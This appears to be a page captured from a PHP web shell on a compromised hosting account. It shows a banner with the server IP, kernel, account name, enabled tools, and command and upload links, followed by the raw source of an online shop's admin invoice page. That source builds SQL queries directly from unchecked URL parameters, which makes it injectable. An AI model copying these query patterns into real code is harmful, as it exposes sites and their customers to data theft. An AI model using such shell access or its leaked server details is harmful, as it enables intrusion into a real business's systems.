|
Server IP : 162.214.80.37 / Your IP : 216.73.216.83 Web Server : Apache System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : imyrqtmy ( 2189) PHP Version : 8.2.18 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home2/imyrqtmy/public_html/agriba/admin/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php include'loginQuery/session_start.php';
include'dbc.php'; ?>
<style>
.table>tbody>tr>td, .table>tbody>tr>th, .table>tfoot>tr>td, .table>tfoot>tr>th, .table>thead>tr>td, .table>thead>tr>th {
padding: 8px;
line-height: 1.42857143;
vertical-align: top;
border-top: 1px solid #ddd;
font-size: 14px;
}
@media print {
.top {
background: #286090 !important;
padding: 8px !important;
}
}
@media print {
.whitetop {
color: white !important;
}
}
@media print {
#orderdetails {
background-color: #f9f9f9 !important;
}
}
</style>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.4.1/css/bootstrap.min.css">
<?php
date_default_timezone_set("Asia/Kolkata");
$dt= date('d/m/Y', time());
$oid=$_GET['oid'];
$q1=mysqli_query($conn,"select * from view_user_order_details where orderId='$oid'");
$pl=mysqli_fetch_array($q1);
$customerid=$pl['customerid'];
extract($pl);
$sqlC=mysqli_query($conn,"select * from tbl_registration") or die(mysqli_error($conn));
while($rows=mysqli_fetch_assoc($sqlC)){
$userNameAry[$rows['id']]=$rows['name'];
$userMobileAry[$rows['id']]=$rows['mobile'];
$userAddressAry[$rows['id']]=$rows['address'];
$userEmailAry[$rows['id']]=$rows['email'];
}
$sqlP=mysqli_query($conn,"select * from tbl_product") or die(mysqli_error($conn));
while($rows=mysqli_fetch_assoc($sqlP)){
$productImageAry[$rows['productid']]=$rows['thumb1'];
$productNameAry[$rows['productid']]=$rows['productname'];
$productSkuAry[$rows['productid']]=$rows['skucode'];
}
?>
<div class="container" style="padding:30px 30px 0px 20px;">
<div class="row">
<div class="top" style="background: #a9192d;padding: 8px">
<h4 style="color: white"><strong class="whitetop">TAX INVOICE                                                    <span style="float: right;" class="whitetop"><?php echo $pl['orderId']; ?>   Rs.<?php echo $pl['grandTotal']; ?></span></strong></h4>
</div>
<div style="width:50%;float:left;">
<img src="../images/logo.png" style="height: 126px !important;margin-top: 7px;padding: 5px;border-radius: 8px;">
</div>
<div style="width:50%;float:right;text-align:right;padding-right: 20px;">
<h3 style="font-weight: 600;">Lakshya Resin Art Hub</h3>
SHOBHA NGR, NEAR RAM LILA GROUND, AGRA, Agra, Uttar
Pradesh, 282006<br>
Email : lakshyaresinarthub@gmail.com <br>
Contact : 91-9045158899, +91-9808738856<br>
GST No : 09CUKPP8525K1ZU<br>
</div>
</div><hr>
<div class="row">
<div style="width:50%;float:left;padding-left:20px;">
<h3 style="font-weight: 600;">Billing Details</h3>
<address>
<strong><?php echo $fName; ?></strong><br>
<b> Address : </b> <?php echo $address; ?><br>
<b> City : </b> <?php echo $city; ?> <br>
<b> State : </b> <?php echo $state; ?> <br>
<b> Country : </b> <?php echo $country; ?> <br>
<b> Pincode :</b> <?php echo $pinCode; ?> <br>
<b>Phone : </b> <?php echo $phone; ?> <br> <b>Alternate Phone : </b> <?php echo $alternate_phone; ?> <br>
<b>Email ID : </b> <?php echo $email; ?>
</address>
</div>
<div style="width:50%;float:right;text-align:right; padding-top: 55px;">
Invoice No. : <?php echo $pl['orderId']; ?><br>
<!-- Invoice Date : <?php echo $dt; ?><br> -->
Order Date : <?php echo $pl['orderDate']; ?><br>
Payment Method : <?php echo $pl['paymentType']; ?><br>
Payment ID: <?php echo $pl['payment']; ?>
</div>
</div>
<div>
<div class="row" style="margin-top:30px;padding:20px;" id="orderdetails" >
<table class="table table-striped" >
<tr >
<th colspan="8" >
<center>
<h3><strong >Order Detail</strong></h3>
</center>
</th>
</tr>
<tr>
<th>Sr.No.</th>
<th>Product Id</th>
<th >Product</th>
<th>Size</th>
<th>Price</th>
<th>Qty</th>
<th colspan="3">Total</th>
</tr>
<?php
$i=1;
$saving=0;
$oid=$_GET['oid'];
$invoice=$_GET['invoice'];
$sql=mysqli_query($conn,"select *from view_user_order_details where orderId='$oid'")or die(mysqli_error());
while($data=mysqli_fetch_assoc($sql))
{
extract($data);
?>
<tr>
<td><?php echo $i++; ?></td>
<td><?php echo $productSkuAry[$product_id];?></td>
<td><?php echo $productNameAry[$product_id];?></td>
<td><?php echo $size;?></td>
<td>₹ <?php echo $price; ?></td>
<td><?php echo $quanitity; ?></td>
<td colspan="3">₹ <?php echo $price*$quanitity; ?></td>
</tr>
<?php
}
?>
<th colspan="7">Sub Total</th>
<th>₹ <?php echo $pl['subTotal']; ?></th>
</tr>
<tr>
<th colspan="7">Shipping Charge</th>
<th>FREE</th>
</tr>
<tr>
<th colspan="7">Discount</th>
<?php
$total=$pl['subTotal']+0;
$discount=$total-$pl['grandTotal'];
?>
<th>- <?php echo $discount; ?></th>
</tr>
<tr>
<th colspan="7">Grand Total</th>
<th>₹ <?php echo $pl['grandTotal']; ?> /-</th>
</tr>
</table>
</div>
</div>
<script type="text/javascript">
window.print();
</script>